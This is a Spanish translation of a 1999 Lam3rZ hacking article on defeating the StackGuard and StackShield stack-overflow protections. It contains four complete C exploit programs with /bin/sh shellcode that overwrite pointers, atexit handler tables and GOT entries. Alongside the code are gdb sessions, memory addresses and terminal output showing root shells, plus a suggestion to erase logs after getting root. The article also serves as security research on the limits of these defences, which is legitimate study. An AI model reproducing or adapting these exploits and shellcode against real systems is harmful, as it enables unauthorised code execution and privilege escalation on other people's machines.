/* translated by honoriak thz bulba, kil3r and Lam3rz for letting me translate and publish it and for being so clever. */ |------------------- EVITANDO STACKGUARD Y STACKSHIELD ---------------------| |---------------------------------------------------------------------------| |--------------------- Bulba y Kil3r ---------------------| ----| Prefacio "Cuando un buffer sobreescribe un puntero... La historia de una mente inquieta." Este articulo es un para demostrar que es posible 'explotar' vulnerabilidades de overflow de la pila en sistemas seguros con StackGuard y StackShield incluso en los entornos mas hostiles (tales como cuando la pila no es ejecutable). ----| Analisis de StackGuard Segun sus autores, StackGuard es una "tecnica de compilacion simple que elimina virtualmente las vulnerabilidades de buffer overflow con solo unas modestas perdidas de rendimiento." [1] Asumimos que el lector conoce el funcionamiento de los ataques de buffer overflow y como escribir codigos de exploit. Si no sabes esto, por favor lee P49-14. En una nushell, podemos cambiar la direccion de retorno de la funcion escribiendo mas alla del final del buffer de la variable local. Este hecho de alterar la direccion de retorno de la funcion produce la destruccion/modificacion de todos los datos contenidos en la pila mas alla del final del buffer desbordado. Que hace StackGuard? Situa una palabra "canary" al lado de la direccion de retorno de la pila. Si la palabra "canary" ha sido alterada cuando la funcion vuelve, entonces la pila ha sido atacada, y el programa responde emitiendo una alerta de intruso en el syslog, y despues 'haltea'. Considera la siguiente figura: ... ... |------------------------------------| | parametetros pasados a la funccion | |------------------------------------| | direc. de retorno de la func (RET) | |------------------------------------| | canary | |------------------------------------| | puntero del marco local (%ebp) | |------------------------------------| | variables locales | |------------------------------------| ... ... Para ser efectivo, el atacante no debe poder "spoofear" la palabra canary poniendo el valor para la palabra canary en la cadena de ataque. StackGuard ofrece 2 tecnicas para prevenir canary spoofing: "terminator" y "random". Un canary terminator contiene NULL(0x00), CR (0x0d), LF (0x0a) y EOF (0xff) -- cuatro caracteres que terminan la mayoria de operaciones de cadenas, anulando el mal que produce el overflow. Un canary random es escogido al azar en el momento de ejecucion del programa. Aunque el atacante no pueda saber el valor de canary antes de que el programa empiece a buscar la imagen ejecutable. El valor de random es tomado de /dev/urandom si esta disponible, y creado a partir de la fecha del dia si /dev/urandom no esta soportado. Esta aleatoriedad es suficiente para impedir la mayoria de los intentos de prediccion. ----| StackShield StackShield usa una tecnica diferente. La idea aqui es crear una pila separada para almacenar una copia de la direccion de retorno de la funcion. De nuevo esto es archivado poniendo algo de codigo justo al principio y al final de la funcion protegida. El codigo en la funcion prolog copia la direccion de retorno a una tabla especial y despues al epilog, esto se copia despues a la pila. Asi el flujo de ejecucion se mantiene sin cambios -- la funcion siempre retorno a su llamador. La direccion de retorno actual no es comparada con la direccion de retorno salvada, asi que no hay forma de chequear si un buffer overflow ha ocurrido. La ultima version tambien aumenta algunas protecciones contra punteros de la funcion llamada que apunta a direcciones no contenidas en segmentos .TEXT (esto para la ejecucion del programa si el valor de retorno ha cambiado). Parece que los dos sistemas son infalible. Pues no. ----| "Nelson Mengele debe estar libre" "... un atacante puede evitar la proteccion de StackGuard usando buffer overflows para alterar otros punteros en el programa ademas de la direccion de retorno, tal como punteros a funciones o buffers longjmp, que no son incluso necesarios en la pila." [2] OK. Asi que. Necesitamos un poco de suerte para desbordar un puntero de funcion o un longjmp? Apuesta! No es un muy comun encontrar la localizacion de un puntero despues de nuestro buffer, y la mayoria de los programas no lo tienen. Es mucho mas probable encontrar algun otro tipo de puntero. Por ejemplo: [root@sg StackGuard]# cat vul.c // Programa vulnerable de ejemplo. int f (char ** argv) { int pipa; // variable sin uso char *p; char a[30]; p=a; printf ("p=%x\t -- before 1st strcpy\n",p); strcpy(p,argv[1]); // <== strcpy() vulnerable printf ("p=%x\t -- after 1st strcpy\n",p); strncpy(p,argv[2],16); printf("After second strcpy ;)\n"); } main (int argc, char ** argv) { f(argv); execl("back_to_vul","",0); //<-- The exec that fails printf("End of program\n"); } Como puedes ver, simplemente sobreescribimos la direccion de retorno desbordando nuestro buffer. Pero esto ya no se puede hacer desde que nuestro programa esta protegido por StackGuard. Pero lo mas simple, la opcion mas obvia no es siempre la mejor. Que pasa si sobreescribimos el puntero de 'p'? La segunda (mas seguro) operacion con strncpy() nos llevara directamente a la memoria apuntada por nosotros. Que pasa si p apunta a nuestra direccion de retorno en la pila? Nosotros estamos alterando el retorno de la funcion sin tocar el canary. Asi que, que requiere nuestro ataque? 1. Necesitamos que el puntero p sea alojado fisicamente en la pila despues de nuestro buffer a[]. 2. Necesitamos un bug de overflow que nos permita sobreescribir el puntero p (i.e.: un strcpy que no chequea). 3. Necesitamos una funcion *copy() (strcpy, memcopy, o cualquiera) que tome *p como un destino y los datos especificados por el usuario como fuente, y la no inicializacion de p entre el overflow y la copia. Obviamente, dadas estas limitaciones no todos los programas compilados con StackGuard van a ser vulnerables, pero tales vulnerabilidades estan ahi fuera. Por ejemplo, el bug mapped_path del wu-ftpd 2.5, donde se desborda el buffer mapped_path podria alterar los punteros argv y el ultimo arg usados por setproctitle() resultando esto una modificacion de alguna parte de la memoria de proceso. Concedido esto, eran datos basados en desbordamiento (no basados en la pila) pero, por otra parte, esto muestra que los requerimientos para nuestro citada vulnerabilidad son cosa corriente en el mundo real. Asi que como vamos a 'explotar' esto? Sobreescribiendo p de forma que apuntara a la direccion de RET en la pila y aunque el siguiente *copy() sobreescribira nuestro RET no tocara el canary :) Si, necesitamos meter el shellcode tb (usamos argv[0]). Aqui esta un exploit de ejemplo (nosotros usamos execle() para hacer el entorno independiente): [root@sg StackGuard]# cat ex.c /* Example exploit no. 1 (c) by Lam3rZ 1999 :) */ char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char addr[5]="AAAA\x00"; char buf[36]; int * p; main() { memset(buf,'A',32); p = (int *)(buf+32); *p=0xbffffeb4; // <<== nos permite apuntar a RET p = (int *)(addr); *p=0xbfffff9b; // <<== new RET value execle("./vul",shellcode,buf,addr,0,0); } Testeando en StackGuarded bajo una box con RH 5.2: [root@sg StackGuard]# gcc vul.c -o vul [root@sg StackGuard]# gcc ex.c [root@sg StackGuard]# ./a.out p=bffffec4 -- before 1st strcpy p=bffffeb4 -- after 1st strcpy bash# Como puedes ver, el primer strcpy() sobreescribe p, despues strncpy() copia el nuevo valor de RET asi que cuando vuelve toma la direccion de nuestro shellcode. Kaboom! Esta tecnica funciona con programas compilados con gcc normal o gcc StackGuarded, pero los programas compilados con StackShield estan a salvo de esto. ----| No hay "cuchara" Hable con Crispin Cowan , uno de los desarrolladores de StackGuard y el propuso un remedio contra el citado hack. Aqui esta la idea. "La defensa del Canary aleatorio XOR: aqui, adoptamos la propuesta de Aaron Grier para 'xor' el canary aleatorio con la direccion de retorno. El codigo de validacion del canary usado al salir de funciones despues de la direccion de retorno del XOR con el canary aleatorio correcto (asignado a esta funcion en el momento de exec()) para calcular lo que el canary aleatorio grabado en la pila es el que debe ser. Si el atacante ha hackeado la direccion de retorno, entonces el canary aleatorio 'xored' no coincidira. El atacante no puede calcular el canary para ponerlo en la pila sin conocer el valor del canary aleatorio. Esto es una encriptacion efectiva de la direccion de retorno con el canary aleatorio para esta funcion. El desafio aqui es mantener al atacante sin saber el valor del canary aleatorio. Previamente, hemos propuesto hacer que simplemente rodeando la tabla del canary con paginas rojas, asi que el buffer overflow no podria ser usado para extraer los valores del canary. Aunque, El ataque de Emsi [descrito anteriormente] le permite sintetizar los punteros a direcciones arbitrarias." (La solucion mas facil aqui esta) "mprotect() la tabla de canary para impedir al atacante corromperla." Informado Crispin que ibamos a escribir un articulo sobre esto su respuesta fue: "Creo que podemos tener un compilador de StackGuard revisado (con el canary aleatorio XOR) listo para sacarlo el lunes." Ese compilador ha sido sacado. [3] StackShield ofrece un (casi) igual de nivel de seguridad salvando la copia del RET en un lugar seguro (de localizacion arbitraria y dimensiones -- aunque no necesariamente una buena practica) y chequeando su integridad antes de hacer el return. Nosotros podemos evitarlo. Si tenemos un puntero que pueda ser manipulado, podemos usarlo para sobreescribir cosas que puede ayudarnos a 'explotar' un overflow vulnerable en un programa. Por ejemplo, tomamos la estructura fnlist que mantiene funciones registradas via atexit(3) o on_exit(3). Para alcanzar este codigo, desde luego, el programa necesita llamar a exit(), pero la mayoria de los programas hace esto o al final de la ejecucion o cuando un error ocurre (y en la mayoria de los casos podemos forzar un excepcion de error). Veamos la estructura de fnlist: [root@sg StackGuard]# gdb vul GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support [...] This GDB was configured as "i386-redhat-linux"... (gdb) b main Breakpoint 1 at 0x8048790 (gdb) r Starting program: /root/StackGuard/c/StackGuard/vul Breakpoint 1, 0x8048790 in main () (gdb) x/10x &fnlist 0x400eed78 : 0x00000000 0x00000002 0x00000003 0x4000b 8c0 0x400eed88 : 0x00000000 0x00000003 0x08048c20 0x00000 000 0x400eed98 : 0x00000000 0x00000000 Podemos ver que llama a dos funciones: _fini [0x8048c20] y _dl_fini [0x4000b8c0] y ninguna de estas toma algun argumento (chequea las fuentes de glibc para entender como lee el contenido fnlist). Podemos sobreescribir ambas funciones. La direccion de fnlist depende la libreria libc, asi que sera la misma para todos los procesos de un maquina en particular. El siguiente codigo 'explota' un overflow vulnerable cuando el programa sale via exit(): [root@sg StackGuard]# cat 3ex.c /* Example exploit no. 2 (c) by Lam3rZ 1999 :) */ char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char addr[5]="AAAA\x00"; char buf[36]; int * p; main() { memset(buf,'A',32); p = (int *)(buf+32); *p=0x400eed90; // <<== direccion de entrada en fnlist el cual modificaremos p = (int *)(addr); *p=0xbfffff9b; // <<== Direccion de la nueva funcion para llamar (shellcode) :) execle("./vul",shellcode,buf,addr,0,0); } Como puedes ver nuestro exploit ha cambiado solo en una linea :) Testeemos el exploit con el programa vulnerable: [root@sg StackGuard]# gcc 3ex.c [root@sg StackGuard]# ./a.out p=bffffec4 -- before 1st strcpy p=400eed90 -- after 1st strcpy After second strcpy ;) End of program bash# Como puedes ver nuestro programa nos da una shell despues del final de la ejecucion normal. Ni StackGuard ni StackShield puede proteger contra este tipo de ataques. Pero que pasa si nuestro programa no llama a exit() pero usa _exit()? Veamos que pasa cuando sobreescribimos el canary. Un programa StackGuarded llamara __canary_death_handler() (esta funcion es responsable de loggear el intento de overflow y terminar el proceso). Veamos lo que pasa: void __canary_death_handler (int index, int value, char pname[]) { printf (message, index, value, pname) ; syslog (1, message, index, value, pname) ; raise (4) ; exit (666) ; } Como ves, tenemos que llamar a exit() al final. Conseguido, 'explotar' el programa de esta forma generara logs, pero si no hay otro camino, sera inevitable. Ademas, si consigues root, puedes borrarlos despues. Recibimos un email de Perry Wagle (otro autor de StackGuard): "Vemos que no visteis mi cambio para llamar _exit() en vez de...". El StackGuard actual llama _exit(). Desde luego el hack citado anteriormente no es aplicable a StackShield. La proteccion de StackShield puede ser evitada sobreescribiendo la %ebp salvada que no esta protegida. Una forma de 'explotar' esto (bajo las peores condiciones) es descrita en "La sobreescritura del puntero de marco por klog en Phrack 55 [4]. Cuando el programa es compilado usando StackShield con la opcion '-z d' llama _exit() pero esto no es un problema para nosotros. ----| Descubriendo America Que pasa si un sistema ha sido protegido con StackGuard y StackPatch (la modificacion de Solar Designer que hace la pila no ejecutable)? Son estas las peores condiciones? No tanto. Desarrollamos una inteligente tecnica que puede ser usada si ninguno de los citados metodos pueden ser usados. Se recomienda un fantastico manual de Rafal Wojtczuk "Derrotando al patch para la pila no ejecutable de Solar Designer" [5]. Su fantastica idea era patchear la tabla de offset global (GOT). Con nuestra vulnerabilidad podemos producir un puntero arbitrario, asi que por que no apuntar a GOT? Usemos nuestra mente. Mira este programa vulnerable: printf ("p=%x\t -- before 1st strcpy\n",p); strcpy(p,argv[1]); printf ("p=%x\t -- after 1st strcpy\n",p); strncpy(p,argv[2],16); printf("After second strcpy :)\n"); Si. El programa escribe nuestro contenido (argv[2]) a nuestro puntero de forma que ejecuta el codigo de la libreria, printf(). OK, asi que lo que necesitamos hacer para sobreescribir el GOT de printf() con la direccion de system() de libc asi que se ejecutara system("After second strcpy :)\n"); Testeemos esto en la practica. Para hacer esto, desensamblamos la Procedure Linkage Table (PLT) de printf(). [root@sg]# gdb vul GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support [...] This GDB was configured as "i386-redhat-linux"... (gdb) x/2i printf 0x804856c : jmp *0x8049f18 <- entrada de GOT de printf() 0x8048572 : pushl $0x8 (gdb) OK, asi que la entrada de GOT de printf() esta en 0x8049f18. Todo lo que necesitamos es poner la direccion de system() de libc en esta locacalizacion, 0x8049f18. De acuerdo con el articulo de Rafal podemos calcular nuestra direccion de system() que esta en: 0x40044000+0x2e740. 0x2e740 es un offset de __libc_system() en la libreria libc: [root@sg]# nm /lib/libc.so.6| grep system 0002e740 T __libc_system 0009bca0 T svcerr_systemerr 0002e740 W system [ Nota: el lector a lo mejor sabe que no usabamos un kernel con el patch de Solar. Estabamos teniendo problemas con init(8) halting despues de bootear. Estabamos fuera de tiempo en la realizacion de este articulo asi que decidimos actuar sin el patch del kernel. Todo lo que cmabiariamos es el 0x40. En sistemas con el patch de Solar, libc esta en 0x00XXYYZZ. Por tanto, por ejemplo, la citada direccion seria 0x00044000+0x2e740, el 0x00 al principio teminara con nuestra cadena. No estamos 100% seguros de que StackPatch sea compatible con StackGuard, de serlo, e incluso de no serlo, PUEDE ser... Pero no estamos seguros.. si alguien lo sabe, por favor que nos los diga. ] OK, testeemos el siguiente exploit: [root@sg]# cat 3ex3.c /* Example exploit no. 3 (c) by Lam3rZ 1999 :) */ char *env[3]={"PATH=.",0}; char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char addr[5]="AAAA\x00"; char buf[46]; int * p; main() { memset(buf,'A',36); p = (int *)(buf+32); *p++=0x8049f18;// <== printf() GOT entry address p = (int *)(addr); *p=0x40044000+0x2e740;// <<== Address of libc system() printf("Exec code from %x\n",*p); execle("./vul",shellcode,buf,addr,0,env); } Y testeemos !!! [root@sg]# gcc 3ex3.c [root@sg]# ./a.out Exec code from 40072740 p=bffffec4 -- before 1st strcpy p=8049f18 -- after 1st strcpy sh: syntax error near unexpected token :)' sh: -c: line 1: fter second strcpy :)' Segmentation fault (core dumped) Hrm. No funciona. Desafortunadamente, esto pasa, la cadena de printf() contiende caracteres especiales de shell. En la mayoria de los casos 'explotamos printf() para ejecutar system() esto ejecutara cosas como "Here we are blah, blah and blah", asi que todo lo que necesitamos es crear un shell script "Here" en nuestro directorio de trabajo (si, necesitamos nuestro programa suid para no poner la variable PATH). Asi que que hacemos con nuestro inesperado ':)'? Bueno depende, a veces simplemente tienes que olvidar printf() e intentar encontrar una funcion que es ejecutada despues de nuestra 'exploitacion', tal que tome 'plain text' como ultimo argumento. A veces, aunque, podemos ser mas afortunados... Imagina que nuestro buffer a[] es la ultima variable local, de forma que los argumentos pasados a la funcion llamada por nuestra funcion vulnerable estan justo a continuacion en la pila. Y que si nosotros persuadimos a __libc_system() para saltar el canary puesto? Podemos poner eso saltando a __libc_system()+5 en vez de __libc_system(). Bien, terminaremos con +argumentos cambiados un lugar mas hacia delante (i.e. arg1->arg2...), y los primeros 4 bytes de la ultima variable local en la pila son tratados como el primer argumento. La llamada printf() de la que estamos intentando abusar tom un argumento, asi que solo el argumento que system() conseguira es el puntero contenido en los primeros 4 bytes de a[]. Simplemente hazle apuntar a "/bin/sh" o algo similar. El sobreescribir el GOT funciona para StackGuard, StackShield y StackPatch. Puede ser usado en caso de que no podamos manipular el contenido completo de lo que copiamos pero si parte de ello (como en wu-ftpd). ----| "Oily way" El lector a lo mejor piensa que solo mostramos ejemplos sencillos, esos son probablemente los que no vamos a encontrar. Una funcion vulnerable que toma como sus argumentos una tabla entera de cadenas es algo poco comun. Mas a menudo encontraras funciones como esta: int f (char *string) { [...] char *p; char a[64]; [...] Chequea esto: char dst_buffer[64]; /* destino final */ int f (char * string) { char *p; char a[64]; p=dst_buffer; /* inicializacion del puntero */ printf ("p=%x\t -- before 1st strcpy\n",p); strcpy(a, string); /* string dentro */ /* analizando, copiando, concatenando ... black-string-magic */ /* SI, eso A LO MEJOR corrompe nuestros datos */ printf ("p=%x\t -- after 1st strcpy\n",p); strncpy(p, a, 64); /* string fuera */ printf("After second strcpy ;)\n"); } int main (int argc, char ** argv) { f(argv[0]); /* interaccion */ printf("End of program\n"); } Tu interactuas con la funcion vulnerable pasandole un simple string... Pero y que pasa si estamos tratando con un sistema que tiene pilas no ejecutables, y librerias mapeadas a direcciones algo estrañas (con NULLs dentro de ello)? No podemos patchear el GOT con nuestra direccion en la pila, porque la pila no es ejecutable. Parece que es imposible, pero sigue leyendo! Nuestro sistema esta basado en x86, y hay muchos concepciones sobre la habilidad para ejecutar ciertas paginas de memoria. Chequeemos /proc/*/maps: 00110000-00116000 r-xp 00000000 03:02 57154 00116000-00117000 rw-p 00005000 03:02 57154 00117000-00118000 rw-p 00000000 00:00 0 0011b000-001a5000 r-xp 00000000 03:02 57139 001a5000-001aa000 rw-p 00089000 03:02 57139 001aa000-001dd000 rw-p 00000000 00:00 0 08048000-0804a000 r-xp 00000000 16:04 158 0804a000-0804b000 rw-p 00001000 16:04 158 <-- El GOT esta aqui bfffd000-c0000000 rwxp ffffe000 00:00 0 El GOT parece ser no ejecutable, pero SORPRESA! Ole por Intel que permite ejecutar GOT donde tu deseabas! Asi que todo lo que tenemos que hacer es poner nuestro shellcode alli, patchear la entrada del GOT para apuntar a ello, y sientate y disfruta! Para facilitar esto, aqui tienes un reducido truco: Simplemente tenemos que cambiar dos lineas en el codigo del exploit: *p=0x8049f84; // destination of our strncpy operation [...] *p=0x8049f84+4; // address of our shellcode Todo lo que necesitamos es una operacion de copia que pueda copiar el shellcode bien donde queremos. Nuestro shellcode no esta optimizado en lo que se refiere a dimensiones ya que ocupa mas de 40 bytes, pero si tu eres suficientemente manitas puedes hacer este codigo incluso mas reducido haciendo un buen uso de jmp, call, popl (desde que sabes la direccion). Otra cosa que tenemos que considerar son las 'signals'. Una tratante de la 'signal' de una funcion intenta llamar a una funcion con una jodida entrada de GOT, y el programa 'muere'. Pero eso es simplemente un peligro teorico. Y ahora que? No quieres nuestro programa vulnerable? Te parece todabia algo tan irreal? Quizas te satisfagamos con esto: char global_buf[64]; int f (char *string, char *dst) { char a[64]; printf ("dst=%x\t -- before 1st strcpy\n",dst); printf ("string=%x\t -- before 1st strcpy\n",string); strcpy(a,string); printf ("dst=%x\t -- after 1st strcpy\n",dst); printf ("string=%x\t -- after 1st strcpy\n",string); // algun 'black magic' esta hecho con la cadena metida strncpy(dst,a,64); printf("dst=%x\t -- after second strcpy :)\n",dst); } main (int argc, char ** argv) { f(argv[1],global_buf); execl("back_to_vul","",0); //<-- El exec que falla // No tengo ni idea de para que es // :) printf("End of program\n"); } En este ejemplo tenemos nuestro puntero (dst) en la pila mas alla del canary y del valor de RET, asi que no podemos cambiarlo sin 'matar' el canario y sin ser descubiertos... O podemos? Tanto StackGuard como StackShield checkean que RET este alterado antes del retorno de la funcion a su llamador (esto pasa al final de la funcion). En la mayoria de los casos tenemos suficiente tiempo aqui para hcer algo que tome el control del programa vulnerable. Podemos hacerlo sobreescribiendo la entrada del GOT de la siguiente funcion de libreria llamada. No tenemos que preocuparnos sobre el orden de las variables locales y tampoco nos importa si el 'canary esta vivo o no', podemos jugar! Aqui esta el exploit: /* Example exploit no. 4 (c) by Lam3rZ 1999 :) */ char shellcode[] = // 48 chars :) "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char buf[100]; int * p; main() { memset(buf,'A',100); memcpy(buf+4,shellcode,48); p = (int *)(buf+80); // <=- offset del segundo argumento de f() [dest one] *p=0x8049f84;// <<== entrada de GOT de printf p = (int *)(buf); *p=0x8049f84+4;// <<== entrada de GOT de printf+4, hay esta nuestro shellcode :) execle("./vul2","vul2",buf,0,0); } Y el resultado: [root@sg]# ./a.out p=804a050 -- before 1st strcpy argv1p=bfffff91 -- before 1st strcpy p=8049f84 -- after 1st strcpy argv1=41414141 -- after 1st strcpy bash# ----| Conclusion 1) StackGuard/StackShield puede salvarte de buffer overflows accidentales pero no de la estupicidad del programador. Erreare humanum est, es verdad, pero los programadores seguros no deben solo ser humanos, deben ser 'security-aware-humans'. 2) - Revisando tu codigo - tu a lo mejor gastas algo de tiempo pero seguramente incrementaras la seguridad de los programas que escribas. - Usando StackGuard/StackShield/loquesea - tu a lo mejor haces bajar la velocidad de tu sistema pero a cambio aumentos adicionalmente la seguridad. - Si no haces nada para proteger tus programas - tomas el riesgo de ser humillado cuando alguien 'explote' un overflow de tu codigo, y si esto pasa, lo mereceras! Asi que, se perfecto, ten cuidado, o deja que otros se rian de ti. Estamos abiertos a comentarios o mejoras constructivas. Puedes contactar con nosotros en la lista de correo de Lam3rZ en . Si, si... lo sabemos! Todavia no hay un exploit que funcione realmente :( Estamos trabajando en ello. Mirate: http://emsi.it.pl/ and http://lam3rz.hack.pl/ ----| Addendum: Jan 5, 2000 Solucionamos el problema con StackGuard en un sistema con el patch de pila no ejecutable de Solar Designer. No estamos seguros de que causaba el problema, pero para evitar eso, pon enabled 'Autodetect GCC trampolines' y 'Emulate trampoline calls' durante la configuracion del kernel. Estamos trabajando con Slackware Linux win StackGuard y trampolines pero con la pila del usuario no ejecutable pero una RH 'StackGuarded' no nos permite trabajar en tal configuracion... :) ----| Some Greetz /* i didn't translated this */ A18 team, HERT, CocaCola, Raveheart (for "Nelson Mengele..." song). Nergal, mo¿e by¶ siê tak ujawni³? ;) Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem. - Kil3r people I've been drinking with - because i've been drinking with you :) people I'd like to drink with - because i will drink with you :) people smarter than me - because you're better than I am ¡ÆÊ£ÑÓ¯¬±æê³ñó¿1/4 - for being wonderful iso-8859-2 characters Lam3rz - alt.pe0p1e.with.sp311ing.pr0b1emZ :) koralik - ... just because - Bulba ----| Referencias [1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole, Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand. StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks http://www.immunix.org/documentation.html [2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with StackGuard http://www.immunix.org/documentation.html [3] Security Alert: StackGuard 1.21 http://www.immunix.org/downloads.html [4] klog. The Frame Pointer Overwrite http://www.phrack.com/search.phtml?view&article=p55-8 [5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-01&msg= 199801301709.SAA12206@galera.icm.edu.pl ----| Nota de autores Este articulo es propiedad intelectual de Lam3rZ Group. El conocimiento presentado aqui es la propiedad intelectual de toda la humanidad, especialmente de los que nos entienden. :) |EOF|-------------------------------------------------------------------------| /* finished translation Thu Dec 7 16:29:53 CET 2000 */